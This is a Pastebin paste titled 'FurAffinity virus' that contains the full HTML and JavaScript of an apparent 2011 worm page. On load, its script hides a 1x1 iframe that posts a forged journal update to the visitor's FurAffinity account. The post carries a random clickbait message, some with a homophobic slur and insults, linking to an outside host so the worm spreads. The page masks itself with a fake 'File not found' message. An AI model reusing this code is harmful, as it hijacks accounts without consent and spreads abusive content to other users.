Guest User

FurAffinity virus

a guest
Jun 19th, 2011
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.42 KB | None | 0 0
  1. <html>
  2. <head>
  3. <script type='text/javascript' language='JavaScript'>
  4.  
  5. function crossDomainPost(writer_url, post_target_url, params){
  6. var url_params = '';
  7. for (var key in params){
  8. url_params =url_params + '&' + encodeURIComponent(key) + '=' + encodeURIComponent(params[key]);
  9. }
  10. var url = writer_url + '?post_target_url=' + post_target_url + url_params;
  11. var iframe = document.createElement('iframe');
  12. iframe.setAttribute('src', url);
  13. iframe.setAttribute('width', 1);
  14. iframe.setAttribute('height', 1);
  15. iframe.setAttribute('style', 'border: none;');
  16. var p = document.getElementsByTagName('html');
  17. p[0].appendChild(iframe);
  18. }
  19.  
  20. var randomnumber=Math.floor(Math.random()*7);
  21.  
  22. switch(randomnumber)
  23. {
  24. case 1:
  25. var title = "Wow, did I just say something.";
  26. var content = "Check This Image Out! XD";
  27. break;
  28. case 2:
  29. var title = "Fine, why should I care?";
  30. var content = "Click here, it'll explain what I'm talking about. ";
  31. break;
  32. case 3:
  33. var title = "So that's the secret of the universe";
  34. var content = "This guy is a huge idiot. Click here. ";
  35. break;
  36. case 4:
  37. var title = "The secret of the universe is so simple";
  38. var content = "CLICK HERE. This guy NEEDS to be banned. ";
  39. break;
  40. case 5:
  41. var title = "All of the Bebop crew are high";
  42. var content = "Check these magic mushrooms out!";
  43. break;
  44. case 6:
  45. var title = "I don't remember making this journal.";
  46. var content = "Whata jerk. CLICK HERE. This guy must be banned.";
  47. break;
  48. case 7:
  49. var title = "I like this episode! ";
  50. var content = "I hate this FAG. He needs to be banned. CLICK HERE ";
  51. break;
  52. case 8:
  53. var title = "I got a whole remedy for that: MUSHROOMS!";
  54. var content = "This is the greatest .GIF ever. ";
  55. break;
  56. default:
  57. var title = "Obnoxious little frog! ";
  58. var content = "XD YIFF YIFF YIFF ";
  59. }
  60.  
  61. crossDomainPost("form.php","http://www.furaffinity.net/controls/journal/",{subject:title,message:"[url=http://astronauts.freeiz.com/coolbeans]" + content + "[/url]",do:"update"});
  62.  
  63. </script>
  64.  
  65. </head>
  66. <body>
  67. File not found on this server.
  68. </body>
  69. </html>
  70.  
  71. <!-- www.000webhost.com Analytics Code -->
  72. <script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
  73. <noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
  74. <!-- End Of Analytics Code -->
Advertisement
Add Comment
Please, Sign In to add comment